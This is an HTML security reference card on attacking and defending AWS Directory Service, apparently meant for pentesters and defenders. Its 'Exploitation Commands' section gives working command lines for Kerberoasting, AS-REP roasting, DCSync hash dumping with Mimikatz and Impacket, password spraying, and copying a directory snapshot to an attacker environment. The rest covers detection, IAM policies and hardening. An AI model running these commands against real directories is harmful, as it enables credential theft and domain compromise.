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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Directory Service Security | AWS Security Cards</title>
<meta name="description" content="AWS Directory Service provides managed Active Directory (AWS Managed Microsoft AD, AD Connector, Simple AD). Attackers target domain trusts, credential harvesting, Kerberos attacks, and Group Policy manipulation.">
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</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/directoryservice-card.webp" alt="AWS Directory Service Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/directoryservice.svg" alt="AWS Directory Service Security" /></div>
<div>
<div>
<span class="header-title">AWS Directory Service Security</span>
<span class="header-badge">IDENTITY</span>
</div>
<p class="header-desc">AWS Directory Service provides managed Active Directory (AWS Managed Microsoft AD, AD Connector, Simple AD). Attackers target domain trusts, credential harvesting, Kerberos attacks, and Group Policy manipulation.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">CRITICAL</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">3 Types</div>
<div class="stat-label">Directory Options</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Trust</div>
<div class="stat-label">On-Prem Integration</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">SSO</div>
<div class="stat-label">AWS Integration</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#a855f7;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #a855f7;">AWS Managed Microsoft AD</h4>
<p>Fully managed Microsoft Active Directory in AWS. Supports trust relationships with on-premises AD, Group Policy, LDAPS, and Kerberos authentication.</p>
<div class="attack-note"><span style="color:#a855f7;">Attack note:</span> Full AD attack surface including Kerberoasting, pass-the-hash, and DCSync</div>
</div>
<div>
<h4 style="color: #a855f7;">AD Connector</h4>
<p>Proxy service that redirects directory requests to on-premises AD without caching. Used for AWS SSO, WorkSpaces, and other AWS services.</p>
<div class="attack-note"><span style="color:#a855f7;">Attack note:</span> Compromising AD Connector can expose on-premises credentials to AWS</div>
</div>
<div>
<h4 style="color: #a855f7;">Simple AD</h4>
<p>Samba 4 based directory for basic AD features. Lower cost but limited functionality. No trust relationships or advanced AD features.</p>
<div class="attack-note"><span style="color:#a855f7;">Attack note:</span> Simpler but still vulnerable to credential attacks and enumeration</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 90%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">9.0</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">Directory Service is critical infrastructure with domain admin access enabling full environment compromise. Trust relationships can pivot attacks between AWS and on-premises. Contains authentication credentials for all domain users.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Kerberos Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Kerberoasting - extract service account hashes</li><li><span class="bullet" style="color: #f87171;">•</span> AS-REP Roasting - no preauth users</li><li><span class="bullet" style="color: #f87171;">•</span> Golden Ticket - forge TGTs with KRBTGT hash</li><li><span class="bullet" style="color: #f87171;">•</span> Silver Ticket - forge service tickets</li><li><span class="bullet" style="color: #f87171;">•</span> Pass-the-ticket - reuse Kerberos tickets</li></ul><h4 style="color: #f87171;">Credential Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Password spraying against domain</li><li><span class="bullet" style="color: #f87171;">•</span> NTLM relay attacks</li><li><span class="bullet" style="color: #f87171;">•</span> DCSync - replicate password hashes</li><li><span class="bullet" style="color: #f87171;">•</span> LSASS credential dumping</li><li><span class="bullet" style="color: #f87171;">•</span> Group Policy Preferences passwords</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Directory Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Weak domain admin passwords</li><li><span class="bullet" style="color: #fb923c;">•</span> No LDAPS enforcement (plain LDAP)</li><li><span class="bullet" style="color: #fb923c;">•</span> Kerberos unconstrained delegation</li><li><span class="bullet" style="color: #fb923c;">•</span> Service accounts with DA privileges</li><li><span class="bullet" style="color: #fb923c;">•</span> Password policies too lenient</li></ul><h4 style="color: #fb923c;">Trust & Integration Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Two-way trusts with on-premises AD</li><li><span class="bullet" style="color: #fb923c;">•</span> SID history filtering disabled</li><li><span class="bullet" style="color: #fb923c;">•</span> Selective auth not configured</li><li><span class="bullet" style="color: #fb923c;">•</span> Over-privileged service accounts for trusts</li><li><span class="bullet" style="color: #fb923c;">•</span> Shared admin accounts across domains</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Directories</div>
<pre><code>aws ds describe-directories</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Directory Details</div>
<pre><code>aws ds describe-directories --directory-ids d-1234567890</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Trust Relationships</div>
<pre><code>aws ds describe-trusts --directory-id d-1234567890</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Domain Controllers</div>
<pre><code>aws ds describe-domain-controllers --directory-id d-1234567890</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Snapshot Info</div>
<pre><code>aws ds describe-snapshots --directory-id d-1234567890</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">👑 Domain Attacks</h3><h4 style="color: #c084fc;">Privilege Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Abuse ACLs on AD objects (WriteDACL)</li><li><span class="bullet" style="color: #c084fc;">•</span> Add users to privileged groups</li><li><span class="bullet" style="color: #c084fc;">•</span> Modify GPO for code execution</li><li><span class="bullet" style="color: #c084fc;">•</span> Exploit delegation misconfigurations</li><li><span class="bullet" style="color: #c084fc;">•</span> Resource-based constrained delegation</li></ul><h4 style="color: #c084fc;">Persistence Techniques</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Create hidden admin accounts</li><li><span class="bullet" style="color: #c084fc;">•</span> Skeleton key injection</li><li><span class="bullet" style="color: #c084fc;">•</span> DCShadow - rogue domain controller</li><li><span class="bullet" style="color: #c084fc;">•</span> AdminSDHolder backdoor</li><li><span class="bullet" style="color: #c084fc;">•</span> SID History injection</li></ul><div class="note"><strong>Critical:</strong> Domain Admin access enables complete control over all joined systems, AWS services using directory, and potentially on-premises resources.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Trust Relationship Abuse</h3><h4 style="color: #facc15;">Trust Attacks</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Enumerate trusts for pivot paths</li><li><span class="bullet" style="color: #facc15;">•</span> Request cross-domain TGTs</li><li><span class="bullet" style="color: #facc15;">•</span> SID history spoofing across trusts</li><li><span class="bullet" style="color: #facc15;">•</span> Forge inter-realm tickets</li><li><span class="bullet" style="color: #facc15;">•</span> Exploit transitivity in forest trusts</li></ul><h4 style="color: #facc15;">On-Prem to Cloud Pivot</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Compromise on-prem DA, pivot to AWS</li><li><span class="bullet" style="color: #facc15;">•</span> Harvest credentials for AWS SSO</li><li><span class="bullet" style="color: #facc15;">•</span> Access WorkSpaces as domain users</li><li><span class="bullet" style="color: #facc15;">•</span> Exploit AD Connector for credential theft</li><li><span class="bullet" style="color: #facc15;">•</span> Use trusted domain for lateral movement</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> CreateTrust - new trust relationship</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateSnapshot - directory backup created</li><li><span class="bullet" style="color: #4ade80;">•</span> ResetUserPassword - password reset</li><li><span class="bullet" style="color: #4ade80;">•</span> ShareDirectory - directory shared</li><li><span class="bullet" style="color: #4ade80;">•</span> EnableRadius - RADIUS configured</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Multiple failed authentication attempts</li><li><span class="bullet" style="color: #4ade80;">•</span> Kerberos service ticket requests (4769)</li><li><span class="bullet" style="color: #4ade80;">•</span> DC replication from non-DC (DCSync)</li><li><span class="bullet" style="color: #4ade80;">•</span> New admin accounts created</li><li><span class="bullet" style="color: #4ade80;">•</span> Trust relationship modifications</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Enumerate Domain (from joined instance)</div>
<pre><code># PowerShell - Get domain info
Get-ADDomain
Get-ADDomainController -Filter *
Get-ADTrust -Filter *</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Kerberoasting Attack</div>
<pre><code># Rubeus - Extract service account hashes
.\\Rubeus.exe kerberoast /outfile:hashes.txt
# Impacket from Linux
GetUserSPNs.py -request -dc-ip 10.0.0.5 corp.local/user:pass</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">AS-REP Roasting</div>
<pre><code># Find users with no preauth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# Rubeus
.\\Rubeus.exe asreproast /outfile:asrep.txt</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">DCSync Attack</div>
<pre><code># Mimikatz - dump all hashes
lsadump::dcsync /domain:corp.local /all /csv
# Impacket
secretsdump.py corp.local/admin:pass@dc01.corp.local</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Password Spray via AWS</div>
<pre><code># Spray against WorkSpaces/AWS SSO
for user in $(cat users.txt); do
aws workspaces describe-workspaces --directory-id d-xxx \\
--user-name $user 2>/dev/null && echo "Valid: $user"
done</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Extract Directory Snapshot</div>
<pre><code># Create snapshot for offline analysis
aws ds create-snapshot --directory-id d-1234567890 --name "backup"
# Then restore to attacker-controlled environment</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full Directory Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "ds:*",
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Full control enables creating trusts, resetting passwords, and taking snapshots</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Read-Only Directory Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"ds:Describe*",
"ds:List*",
"ds:Get*"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Read-only access for monitoring without modification capabilities</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Trust Management</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"ds:CreateTrust",
"ds:DeleteTrust",
"ds:VerifyTrust"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Trust management allows creating paths for lateral movement</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Specific Directory Only</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"ds:DescribeDirectories",
"ds:DescribeDomainControllers"
],
"Resource": "arn:aws:ds:us-east-1:123456789012:directory/d-1234567890"
}]
}</code></pre>
<p class="policy-desc">Access restricted to specific directory resource</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable LDAPS</h4>
<p>Require LDAPS for all directory communications to prevent credential interception.</p>
<pre><code>aws ds enable-ldaps \\
--directory-id d-1234567890 \\
--type Client</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Restrict Trust Relationships</h4>
<p>Use one-way trusts where possible. Enable SID filtering and selective authentication.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Enforce Strong Password Policy</h4>
<p>Configure domain password policy with complexity, length, and history requirements.</p>
<pre><code># PowerShell - Set policy
Set-ADDefaultDomainPasswordPolicy -Identity corp.local \\
-MinPasswordLength 14 -ComplexityEnabled $true</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Monitor Authentication Events</h4>
<p>Enable advanced auditing and forward to SIEM for Kerberos attack detection.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔑</span>
<div>
<h4>Protect Service Accounts</h4>
<p>Use gMSA accounts, avoid SPNs on privileged accounts, rotate passwords regularly.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📊</span>
<div>
<h4>Disable Unused Features</h4>
<p>Disable NTLM where possible, remove unconstrained delegation, audit ACLs regularly.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS Directory Service Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>